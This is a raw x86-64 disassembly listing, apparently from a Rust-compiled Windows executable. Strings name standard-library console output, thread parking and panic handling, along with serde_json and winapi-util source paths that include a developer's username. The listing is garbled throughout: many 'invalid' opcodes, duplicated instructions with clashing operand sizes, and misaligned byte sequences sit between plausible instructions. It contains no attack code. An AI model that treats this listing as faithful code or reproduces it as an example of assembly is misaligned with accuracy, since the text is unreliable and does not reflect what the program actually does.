cmp byte [r14 + 0xf], 0x23
jne case.0x14007651e.2
mov rbx, qword [r14 - 1]
mov r13, qword [r14 + 7]
mov ebp, dword [rsi + 7]
mov ebp, dword [rsi + 7]
mov rcx, rbx
call qword [r13]
cmp qword [r13 + 8], 0
je 0x140076324
dec dword [rcx - 0x7d]
jge 0x1400763c4
cmp qword [r13 + 0x10], 0x11
jb 0x140076316
adc dword [rdi], ecx
invalid
mov rbx, qword [rbx - 8]
jmp 0x140076316
mov r8, r12
mov rdx, qword [rsp + 0x48]
mov rax, qword [rsp + 0x50]
lea rcx, str.uuuuuuuubtnufruuuuuuuuuuuuuuuuuu
jmp 0x140076079
cmp rdx, r8
je 0x1400764cd
test r8, r8
je 0x140076411
mov r15, rdx
sub r15, r8
jbe 0x1400765ae
mov rax, qword [rsp + 0x30]
cmp byte [rax + r8], 0xbf
jle 0x1400765ae
cmpsd dword [rsi], dword [rdi]
add dword [rax], eax
invalid
cmpsd dword [rsi], dword [rdi]
add dword [rax], eax
add byte [rbp - 0x7b], cl
push qword [rbp + 0x11]
test r15, r15
jne 0x14007641d
jmp 0x1400764cd
mov r15, rdx
xlatb
test r15, r15
je 0x1400764cd
add qword [rsp + 0x30], r8
and al, 0x30
mov rax, qword [rsp + 0x40]
mov rsi, qword [rax]
lea rdi, [0x1400eff44]
jmp 0x14007643e
cmp byte [r14 + 0x10], 0x23
jne case.0x14007651e.2
test dword [rax], ecx
cld
invalid
invalid
test dword [rax], ecx
cld
invalid
dec dword [rax - 0x75]
and byte [rax - 0x75], r9b
sub byte [rax - 0x75], r9b
invalid
push rsp
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rdx, qword [rsp + 0x30]
mov edx, dword [rsp + 0x30]
and al, 0x30
and al, 0x30
mov r8, r15
call qword [rax + 0x18]
test al, al
je 0x1400764cd
call fcn.140075db0
mov r14, rax
and eax, 3
movsxd rax, dword [rdi + rax*4]
add rax, rdi
jmp rax
cmp byte [r14 + 0xf], 0x23
jne case.0x14007651e.2
mov r12, qword [r14 + 7]
mov rcx, rbx
call qword [r12]
cmp qword [r12 + 8], 0
invalid
je case.0x14007636c.16
add byte [rdx + rbx + 0x49], dh
cmp dword [rsp + 0x10], 0x11
cmp qword [r12 + 0x10], 0x11
jb 0x140076497
mov rbx, qword [rbx - 8]
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call rbp
dec r14
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r14
call rbp
invalid
jmp 0x14007643e
invalid
mov rax, r14
shr rax, 0x20
cmp eax, 0x23
je 0x14007643e
invalid
invalid
mov rax, qword [rsp + 0x40]
mov rsi, qword [rax]
lea rbx, [0x1400eb994]
lea r15, [0x1400eff54]
invalid
invalid
add bl, ch
invalid
invalid
cmp byte [r14 + 0x10], 0x23
jne case.0x14007651e.2
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov r8d, 1
mov rdx, rbx
call qword [rax + 0x18]
test al, al
je 0x14007658e
call fcn.140075db0
mov r14, rax
and eax, 3
movsxd rax, dword [r15 + rax*4]
add rax, r15
dec dword [rcx - 0x77]
mov byte [rbx + 0x634903e0], 4
xchg dword [rcx + rax - 8], ecx
jmp rax
cmp byte [r14 + 0xf], 0x23
jne case.0x14007651e.2
mov rdi, qword [r14 - 1]
mov r12, qword [r14 + 7]
mov rcx, rdi
call qword [r12]
cmp qword [r12 + 8], 0
invalid
je 0x14007655c
add byte [rdx + rbx + 0x49], dh
cmp dword [rsp + 0x10], 0x11
cmp qword [r12 + 0x10], 0x11
jb 0x14007654e
mov rdi, qword [rdi - 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call rbp
dec r14
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r14
call rbp
jmp case.0x140076270.13
mov rax, r14
shr rax, 0x20
cmp eax, 0x28
ja case.0x14007651e.2
cmp rax, 0x23
jne case.0x14007651e.2
jmp case.0x140076270.13
xor r14d, r14d
jmp case.0x14007651e.2
lea rax, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.108_src_ser.rsHv
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x30]
call fcn.1400aa440
ud2
lea rax, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.108_src_ser.rsHv
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x30]
mov r9, rdx
call fcn.1400aa440
ud2
lea rcx, str.internal_error:_entered_unreachable_code_rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_std_src_threadmod.rs
lea r8, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.108_src_ser.rsHv
mov edx, 0x28
call fcn.1400a9e70
ud2
mov rdx, r15
test r15, r15
je 0x14007a367
mov r12, qword [rdx]
mov r15, qword [rdx + 8]
mov qword [rdx], 0
test r12, r12
je 0x14007a379
mov byte [rdx + 0x10], 1
mov al, 1
xchg byte [r12 + 0x28], al
cmp al, 0xff
push qword [rbp + 0x16]
push qword [rbp + 0x16]
lea rdi, [r12 + 0x28]
mov rax, qword [0x1400f9230]
mov eax, dword [0x1400f9230]
mov eax, dword [0x1400f9230]
test rax, rax
je 0x14007a2f9
mov rcx, rdi
call rax
lock dec qword [r12]
jne 0x14007a2a0
mov rcx, r12
call fcn.14007a600
jmp 0x14007a2a0
mov rcx, qword [0x1400f9030]
cmp rcx, 0xffffffffffffffff
jne 0x14007a348
mov qword [rbp - 0x20], 0xffffffffffffffff
mov rax, qword [0x1400f9048]
mov rcx, rsi
mov edx, 0xc0000000
xor r8d, r8d
xor r9d, r9d
call rax
test eax, eax
jne 0x14007a393
mov rcx, qword [rbp - 0x20]
mov rax, 0xffffffffffffffff
lock cmpxchg qword [0x1400f9030], rcx
je 0x14007a348
mov rbx, rax
call r14
mov rcx, rbx
mov rax, qword [0x1400f9050]
mov rdx, rdi
xor r8d, r8d
xor r9d, r9d
call rax
lock dec qword [r12]
jne 0x14007a2a0
jmp 0x14007a2ef
add rsp, 0x80
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea r8, [0x1400eace8]
mov edx, 0x2b
call fcn.1400a9e70
ud2
mov qword [rbp - 0x18], r12
mov dword [rbp - 0xc], eax
lea rax, [rbp - 0xc]
mov qword [rbp - 0x30], rax
lea rax, [0x140049c10]
mov qword [rbp - 0x28], rax
lea rax, str.Unable_to_create_keyed_event_handle:_error
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], 1
mov qword [rbp - 0x40], 0
lea rax, [rbp - 0x30]
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 1
lea rdx, str.library_std_src_syswindows_thread_parking.rs
lea rcx, [rbp - 0x60]
call fcn.1400a9cb0
ud2
mov eax, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
invalid
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
invalid
ror dword [rax - 0x39], 0x80
movabs al, byte [0x48ffffffff000000]
mov ecx, dword [rax + 0xb8]
mov qword [rax + 0xa0], 0xffffffffffffffff
mov rcx, qword [rax + 0xb8]
cmp rcx, qword [rax + 0xb0]
jne case.0x1400271cf.710
call fcn.14007aa60
mov eax, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rax + 0xb8]
mov rax, qword [rax + 0xa0]
movabs al, byte [0x2ebc0ff48000000]
movabs al, byte [0x2ebc0ff48000000]
xor eax, eax
mov edx, dword [0x1400f92c4]
mov r8, qword gs:[0x58]
mov r8, qword [0x58]
mov r8, qword [0x58]
mov rdx, qword [r8 + rdx*8]
mov r8, qword [rdx + 0xa8]
invalid
test al, 0
add byte [rax], al
mov r9, rcx
shl r9, 4
mov qword [r8 + r9], rdi
mov qword [r8 + r9 + 8], rsi
inc rcx
mov qword [rdx + 0xb8], rcx
mov qword [rdx + 0xa0], rax
mov byte [0x1400f9218], 1
add rsp, 0x70
pop rdi
pop rsi
pop rbp
ret
invalid
add byte [rax], al
add dh, al
in al, dx
add byte [rax - 0x73], cl
invalid
invalid
lea rax, str.fatal_runtime_error:_global_allocator_may_not_use_TLS_n
add eax, 0x70266
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 1
add byte [rax], al
invalid
mov r8b, 0x48
mov dword [rbp - 0x48], 1
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
invalid
lea rax, [rbp - 0x10]
mov qword [rbp - 0x40], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
lea rcx, [rbp - 0x18]
lea rdx, [rbp - 0x50]
call fcn.14007a9c0
mov qword [rbp - 0x20], rax
lea rcx, [rbp - 0x20]
call fcn.14007a000
mov ecx, 7
int 0x29
ud2
add esp, 0x20
pop rdi
pop rsi
pop rbp
ret
lea ebp, [rsp + 0x60]
mov qword [rbp], 0xfffffffffffffffe
mov eax, dword [0x1400f92c4]
invalid
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0xd8]
cmp eax, 1
je 0x14007a6c7
test eax, eax
jne 0x14007a72e
mov eax, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
xor al, 0xc1
invalid
lea rcx, [rsi + 0xd0]
lea rdx, [0x14007a450]
call fcn.14007a490
mov byte [rsi + 0xd8], 1
mov eax, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
mov rax, qword [rax + 0xd0]
test rax, rax
jne 0x14007a724
xor ecx, ecx
call fcn.140079da0
mov edx, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
mov rcx, qword [rcx + rdx*8]
cmp qword [rcx + 0xd0], 0
jne 0x14007a737
mov edx, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
or al, 0xd1
mov qword [rcx + 0xd0], rax
lock inc qword [rax]
jg 0x14007a730
ud2
xor eax, eax
add rsp, 0x68
pop rsi
pop rbp
ret
mov qword [rbp - 8], rax
lea rax, str.reentrant_init
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], 1
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rbp - 0x28], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
lea rdx, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_srccellonce.rs
lea rcx, [rbp - 0x38]
call fcn.1400a9cb0
ud2
and al, 0x40
add dword [rax], eax
add byte [rax], al
lea rax, [rsp + 0x20]
mov qword [rsp + 0x48], rax
xorps xmm0, xmm0
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x28]
lea rdx, [rsp + 0x38]
cmp al, ch
leave
add dword [rax], eax
add byte [rax - 0x77], cl
and al, 0x30
cmp al, ch
leave
add dword [rax], eax
add byte [rax - 0x77], cl
and al, 0x30
lea rcx, [rsp + 0x30]
call fcn.14007a000
mov ecx, 7
int 0x29
ud2
mov ecx, eax
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
jne 0x14007a853
lea rax, [0x14007a880]
sub eax, 0x48000000
mov dword [0x1400f9058], eax
mov qword [0x1400f9058], rax
mov rcx, r14
mov rdx, rdi
mov r8d, ebx
mov r9, rsi
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
jmp rax
and al, 0x10
push rbp
sub rsp, 0x20
lea rbp, [rdx + 0x60]
push 0x60
push 0x60
call fcn.1400aa380
ud2
int3
int1
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
jmp rax
int3
mov qword [rbp - 8], 0xfffffffffffffffe
mov r8, rdx
mov qword [rbp - 0x18], rcx
mov qword [rbp - 0x10], 0
lock add byte [rax], al
add byte [rax], al
lea rdx, [0x1400e86b0]
fadd qword [rsi]
add byte [rax - 0x73], cl
call 0x13c7f39d8
dec dword [rax - 0x75]
invalid
invalid
test al, al
je 0x14007aa0d
test rcx, rcx
lea rax, str.formatter_error
cmovne rax, rcx
add rsp, 0x40
pop rbp
ret
test rcx, rcx
je 0x14007aa1b
lea rcx, [rbp - 0x10]
call fcn.140079f00
invalid
xor eax, eax
add rsp, 0x40
invalid
pop rbp
ret
invalid
nop dword cs:[rax + rax]
nop dword [rax + rax]
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
push rbp
sub rsp, 0x20
lea rbp, [rdx + 0x40]
cmp qword [rbp - 0x10], 0
je 0x14007aa4e
lea rcx, [rbp - 0x10]
call fcn.140079f00
nop
add rsp, 0x20
pop rbp
ret
int3
push rax
inc rcx
je 0x14007ab55
invalid
add byte [rbx + 0x7e85005], cl
mov eax, dword [0x1400f92c4]
mov rdx, qword gs:[0x58]
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
mov rax, qword [rdx + rax*8]
mov rax, qword [rax + 0xb0]
lea rdx, [rax + rax]
cmp rdx, rcx
cmova rcx, rdx
cmp rcx, 5
mov esi, 4
cmovae rsi, rcx
xor edx, edx
mov rcx, rsi
shr rcx, 0x3b
sete dl
mov r8, rsi
shl r8, 4
shl rdx, 3
test rax, rax
je 0x14007aaef
mov ecx, dword [0x1400f92c4]
mov r9, qword gs:[0x58]
mov rcx, qword [r9 + rcx*8]
mov rcx, qword [rcx + 0xa8]
shl rax, 4
mov qword [rsp + 0x20], rcx
mov qword [rsp + 0x28], 8
mov qword [rsp + 0x30], rax
jmp 0x14007aaf8
mov qword [rsp + 0x28], 0
lea rcx, [rsp + 0x38]
lea r9, [rsp + 0x20]
call fcn.1400a57b0
cmp qword [rsp + 0x38], 0
mov rcx, qword [rsp + 0x40]
je 0x14007ab29
movabs rax, 0x8000000000000001
cmp rcx, rax
jne 0x14007ab50
mov eax, dword [0x1400f92c4]
mov rdx, qword gs:[0x58]
mov rax, qword [rdx + rax*8]
mov qword [rax + 0xa8], rcx
mov qword [rax + 0xb0], rsi
add rsp, 0x50
pop rsi
ret
call fcn.1400401e0
ud2
add byte [rax], al
lea rcx, [0x1400f9158]
call qword [sym.imp.kernel32.dll_ReleaseSRWLockExclusive]
nop
add rsp, 0x20
pop rbp
ret
invalid
add byte [rax - 0x77], cl
push rsp
and al, 0x10
push rbp
sub rsp, 0x20
lea rbp, [rdx + 0x60]
cmp qword [0x1400f9178], 0
je 0x14007aeee
mov r8, qword [0x1400f9170]
mov rcx, qword [0x1400f91f8]
xor edx, edx
sar bh, cl
adc eax, 0x3551a
movups xmm0, xmmword [rbp - 0x38]
movups xmm1, xmmword [rbp - 0x28]
movups xmmword [0x1400f9180], xmm1
and edx, 7
add byte [rdi], cl
adc dword [0x1400f9170], eax
inc qword [0x1400f9168]
add rsp, 0x20
pop rbp
ret
jmp 0x14007af91
mov r14, qword [rbp - 0x18]
test r14, r14
mov rax, qword [rbp - 8]
clc
clc
je 0x14007b098
add rax, r14
mov r14, qword [rcx + 0x10]
cmp rax, r14
jae 0x14007b06a
fld dword [rax]
add byte [rax], al
mov byte [rcx + 0x18], 1
sub r14, rax
mov r8, qword [rcx]
mov qword [rbp - 8], rax
add r8, rax
mov qword [rsp + 0x20], r12
mov rcx, rbx
mov edx, 0xfffffff5
mov r9, r14
call fcn.14007b1a0
cmp qword [rbp - 0x30], 0
je 0x14007b000
mov rax, qword [rbp - 0x28]
mov ecx, eax
and ecx, 3
cmp rcx, 2
add dh, byte [rdx + 0x33]
cmp ecx, 2
add dh, byte [rbp + 0x2e]
jne 0x14007b000
shr rax, 0x20
cmp eax, 6
clc
invalid
jne 0x14007b000
clc
invalid
mov rcx, rsi
call fcn.140079f00
sbb eax, 0x48ffffef
mov ecx, dword [rbp - 0x10]
sbb eax, 0x48ffffef
mov ecx, dword [rbp - 0x10]
invalid
mov byte [rcx + 0x18], 0
sbb byte [r8], al
test r14, r14
mov rax, qword [rbp - 8]
clc
clc
jne 0x14007af81
jmp 0x14007b098
add byte [rdi], cl
adc byte [rbp - 0x30], al
movups xmm0, xmmword [rbp - 0x30]
movaps xmmword [rbp - 0x20], xmm0
loopne 0x14007b051
cmp qword [rbp - 0x20], 0
cmp dword [rbp - 0x20], 0
mov rcx, qword [rbp - 0x10]
invalid
mov byte [rcx + 0x18], 0
je case.0x14007cad1.51
invalid
invalid
invalid
invalid
mov r15, qword [rbp - 0x18]
jge 0x14007b007
mov eax, r15d
clc
and eax, 3
movsxd rax, dword [r13 + rax*4]
add rax, r13
jmp rax
jmp 0x14007b09f
stc
call fcn.140079f00
mov rcx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
mov eax, dword [rbp - 8]
stosd dword [rdi], eax
out dx, al
invalid
mov eax, dword [rbp - 8]
mov r14, qword [rcx + 0x10]
cmp rax, r14
jb 0x14007af91
test rax, rax
je 0x14007b093
xor esi, esi
mov rdi, rcx
mov r15d, 0
cmp r14, rax
jae 0x14007b0d4
mov rcx, rax
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_alloc_src_vecmod.rs
mov rdx, r14
call fcn.1400a9df0
ud2
xor r15d, r15d
jmp 0x14007b0d8
lea r15, str.failed_to_write_the_buffered_data
mov rax, qword [rbp - 8]
test rax, rax
je 0x14007b0d8
mov rdi, qword [rbp - 0x10]
mov rdx, qword [rdi + 0x10]
mov rsi, rdx
sub rsi, rax
jb 0x14007b0ec
mov qword [rdi + 0x10], 0
je 0x14007b0d8
mov rax, r15
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_alloc_src_vecmod.rs
mov rcx, qword [rbp - 8]
call fcn.1400a9df0
ud2
invalid
mov qword [rsi + 8], rax
mov qword [rsi], 1
add rsp, 0x98
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
add byte [rcx + 0xf], al
mov dh, 0xe
mov edx, ecx
and dl, 0xc0
cmp dl, 0x80
jne 0x14007b310
mov byte [rdi + rax], cl
movzx eax, byte [rdi + 4]
inc al
mov byte [rdi + 4], al
add al, 0xf
mov dh, 0xf
add al, 0xf
mov dh, 0xf
lea rdx, [0x1400ea45c]
movzx ebx, byte [rcx + rdx]
mov qword [rbp - 0x50], rbx
mov al, 0x38
fmul dword [rdi]
invalid
wait
add byte [rax], al
invalid
mov al, 0x38
fmul dword [rdi]
sbb dword [rbx + 0x48000000], 0xffffffc7
or byte [rcx], r8b
add byte [rax], al
add byte [rax - 0x39], cl
invalid
mov qword [rsi + 8], 1
mov qword [rsi], 0
jmp 0x14007b210
ror byte [rcx + rcx*4 - 6], 0x4d
mov eax, esi
mov r9, rbx
mov qword [rbp - 0x48], r15
call fcn.14007b4d0
movups xmm0, xmmword [rbp - 0x40]
movups xmmword [rsi], xmm0
jmp 0x14007b210
cmovb eax, ebx
lea rcx, [rbp - 0x10]
mov rdx, r14
call fcn.1400433d0
cmp qword [rbp - 0x10], 0
je 0x14007b34f
mov r8, qword [rbp - 8]
test r8, r8
je 0x14007b367
cmp r8, rbx
ja 0x14007b443
xchg dword [rdx + 1], edx
add byte [rax], al
xchg dword [rdx + 1], edx
add byte [rax], al
lea rdi, [rbp - 0x40]
mov rcx, rdi
mov rdx, r14
call fcn.1400433d0
rol byte [rax - 0x76b70004], 1
stc
rol byte [rax - 0x76b70004], 1
stc
call fcn.14007b840
add byte [rax], al
mov r8, rax
mov r9, rdx
jmp 0x14007b357
mov byte [rdi + 4], 0
lea rax, str.Windows_stdio_in_console_mode_does_not_support_writing_non_UTF_8_byte_sequences
jmp 0x14007b205
movzx r8d, al
cmp al, 5
jae 0x14007b42a
lea rcx, [rbp - 0x10]
mov rdx, rdi
call fcn.1400433d0
mov byte [rdi + 4], 0
cmp qword [rbp - 0x10], 0
je 0x14007b389
lea rax, str.Windows_stdio_in_console_mode_does_not_support_writing_non_UTF_8_byte_sequences
jmp 0x14007b205
mov r8, qword [rbp - 8]
mov r9, qword [rbp]
mov rcx, rsi
mov rdx, r15
call fcn.14007b5e0
jmp 0x14007b210
movzx eax, byte [r14]
movzx eax, byte [rsi]
lea rcx, [0x1400ea45c]
movzx ecx, byte [rax + rcx]
cmp rcx, 2
jb 0x14007b3db
cmp rcx, rbx
jbe 0x14007b3db
mov byte [rdi], al
mov byte [rdi + 4], 1
jmp 0x14007b3c9
mov r8, qword [rbp - 8]
mov rax, qword [rbp]
mov qword [rbp + 8], rax
cmp rax, rbx
jne 0x14007b45a
lea rcx, [rbp - 0x40]
mov rdx, r15
cli
mov r9, rbx
call fcn.14007b5e0
cmp qword [rbp - 0x40], 0
mov rax, qword [rbp - 0x38]
invalid
jne 0x14007b3e2
enter 0x2a75, 0x48
mov dword [rbp - 0x58], eax
mov qword [rbp - 0x58], rax
mov qword [rbp + 8], rbx
cmp rax, rbx
jne 0x14007b47c
mov qword [rsi + 8], 1
xor eax, eax
mov qword [rsi], rax
jmp 0x14007b210
lea rax, str.Windows_stdio_in_console_mode_does_not_support_writing_non_UTF_8_byte_sequences
mov qword [rsi + 8], rax
mov eax, 1
add byte [rax], al
add byte [rax - 0x77], cl
invalid
jmp 0x14007b210
invalid
invalid
add byte [rax], al
add byte [rax - 0x77], cl
invalid
dec dword [rax - 0x73]
add eax, 0x6f23e
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], 1
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rbp - 0x30], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
lea rdx, str.library_std_src_syswindows_stdio.rs
lea rcx, [rbp - 0x40]
call fcn.1400a9cb0
mov al, ch
add al, byte [rax]
ud2
lea rax, str.library_std_src_syswindows_stdio.rs
mov edx, 4
mov rcx, r8
mov r8, rax
call fcn.1400a9df0
ud2
lea rax, str.library_std_src_syswindows_stdio.rs
mov rcx, r8
mov rdx, rbx
mov r8, rax
call fcn.1400a9df0
ud2
mov qword [rbp - 0x40], 0
lea r9, str.library_std_src_syswindows_stdio.rs
lea rcx, [rbp - 0x50]
lea rdx, [rbp + 8]
lea r8, [rbp - 0x40]
call fcn.1400ae200
ud2
mov qword [rbp - 0x40], 0
lea r9, str.library_std_src_syswindows_stdio.rs
lea rcx, [rbp - 0x58]
lea rdx, [rbp + 8]
lea r8, [rbp - 0x40]
call fcn.1400ae200
ud2
adc byte [0x1400e9ed0], al
movaps xmmword [rsp + 0x60], xmm0
mov eax, 0xffffffff
cmp r9, rax
cmovb rax, r9
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], r8
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov rcx, rdx
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtWriteFile]
cmp eax, 0x103
jne 0x14007b543
mov rcx, rdi
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov eax, dword [rsp + 0x60]
cmp eax, 0x103
je 0x14007b57a
test eax, eax
js 0x14007b554
mov rax, qword [rsp + 0x68]
mov qword [rsi + 8], rax
xor eax, eax
jmp 0x14007b56d
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
add eax, dword [rax]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov eax, 1
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
invalid
mov qword [rsi], rax
add rsp, 0xa8
pop rdi
pop rsi
ret
mov dword [rsp + 0x58], 0
mov byte [rsp + 0x5c], 0
lea rax, [0x1400e9f38]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 1
lea rax, [rsp + 0x50]
mov qword [rsp + 0x88], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x90], xmm0
lea rcx, [rsp + 0x58]
lea rdx, [rsp + 0x78]
call fcn.14007a9c0
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x70]
call fcn.14007a000
invalid
mov ecx, 7
int 0x29
ud2
invalid
mov edi, 0xff31157f
cmp byte [r8 + 0xffe], 0xc0
setge dil
add rdi, 0xffd
lea rax, [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], 0x1000
mov ecx, 0xfde9
mov edx, 8
add byte [rcx - 0x77], al
stc
add byte [rcx - 0x77], al
stc
call qword [sym.imp.kernel32.dll_MultiByteToWideChar]
test eax, eax
je 0x14007b7d9
movsxd r14, eax
cmp eax, 0x1001
jae 0x14007b815
mov dword [rsp + 0x40], 0
mov qword [rsp + 0x20], 0
lea rdx, [rsp + 0x70]
lea r9, [rsp + 0x40]
mov rcx, r15
mov r8d, eax
call qword [sym.imp.kernel32.dll_WriteConsoleW]
test eax, eax
je 0x14007b78e
pop rsp
jo 0x14007b6c1
adc ah, byte [rbx]
add byte [rax], al
movzx eax, ax
mov bh, 0xc0
cmp eax, 0x312
jae 0x14007b724
lea rdx, [rsp + rbx*2]
add rdx, 0x70
inc rbx
ret
mov dword [rsp + 0x3c], 0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x3c]
mov rcx, r15
mov r8d, 1
call qword [sym.imp.kernel32.dll_WriteConsoleW]
test eax, eax
jne 0x14007b724
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
shl eax, 0x20
or rax, 2
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], 1
call fcn.140079f00
fsubr st(7), st(0)
invalid
invalid
fsubr st(7), st(0)
invalid
cmp rbx, r14
ja 0x14007b82b
test rbx, rbx
je case.0x140063fb7.377
add rbx, rbx
xor eax, eax
xor edi, edi
invalid
jmp 0x14007b74c
invalid
add rdi, rdx
xlatb
add rax, 2
cmp rbx, rax
je 0x14007b7ab
movzx ecx, word [rsp + rax + 0x70]
mov edx, 1
cmp ecx, 0x80
jb 0x14007b740
movzx r8d, cx
mov edx, 2
cmp r8d, 0x800
add byte [rdx - 0x30], dh
add byte [rdx - 0x30], dh
add ecx, 0x2312
movzx ecx, cx
xor edx, edx
cmp ecx, 0x312
setae dl
lea rdx, [rdx*2 + 1]
jmp 0x14007b740
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov qword [rsi], 1
jmp 0x14007b7b6
xor edi, edi
dec dword [rax - 0x77]
jle 0x14007b7b7
mov qword [rsi + 8], rdi
mov qword [rsi], 0
add rsp, 0x2070
add esp, 0x2070
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
lea rax, str.Unexpected_error_in_MultiByteToWideChar
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov dword [rsp + 0x48], 1
invalid
mov dword [rsp + 0x48], 1
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rsp + 0x50], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
lea rdx, str.library_std_src_syswindows_stdio.rs
lea rcx, [rsp + 0x40]
call fcn.1400a9cb0
ud2
lea r8, str.library_std_src_syswindows_stdio.rs
mov edx, 0x1000
add byte [rcx + rcx*4 - 0xf], cl
call fcn.1400a9df0
ud2
lea r8, str.library_std_src_syswindows_stdio.rs
mov rcx, rbx
mov rdx, r14
call fcn.1400a9df0
ud2
ret
lodsb al, byte [rsi]
int 6
add byte [rcx - 0x48], al
or dword [rax], eax
add byte [rax], al
call qword [rax + 0x18]
mov qword [rsp + 0x30], rsi
mov byte [rsp + 0x38], al
mov byte [rsp + 0x39], 0
lea rax, [0x140052f90]
mov qword [rsp + 0x20], rax
lea rdx, [0x1400e8669]
lea rsi, [rsp + 0x30]
mov r8d, 0xb
or eax, dword [rax]
add byte [rax], al
mov rcx, rsi
mov r9, rdi
call fcn.1400435d0
fdivr qword [rsp + rdi*8 - 1]
lea rax, [0x14007b980]
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x20
lea rdx, [0x1400e8674]
int 6
add byte [rbp + rcx*4 + 0x4c], cl
and al, 0x40
mov r8d, 9
mov eax, 9
add byte [rax], al
mov rcx, rsi
mov ecx, esi
call fcn.1400435d0
mov dh, 0x7c
cld
inc dword [rax + 0x39247c]
and al, 0x39
add byte [rdi], cl
movzx eax, byte [rsp + 0x38]
and al, 0x38
je 0x14007b966
test al, al
mov al, 1
jne 0x14007b966
mov rax, qword [rsp + 0x30]
test byte [rax + 0x34], 4
xor al, 4
xor al, 4
jne 0x14007b94e
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
mov eax, dword [rax + 0x28]
mov eax, dword [rax + 0x28]
lea rdx, [0x1400e3757]
mov r8d, 2
jmp 0x14007b963
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x1400e9593]
mov r8d, 1
add dword [rax], eax
add byte [rax], al
call qword [rax + 0x18]
test al, al
setne al
add rsp, 0x48
pop rdi
pop rsi
ret
int3
invalid
add byte [rax - 1], cl
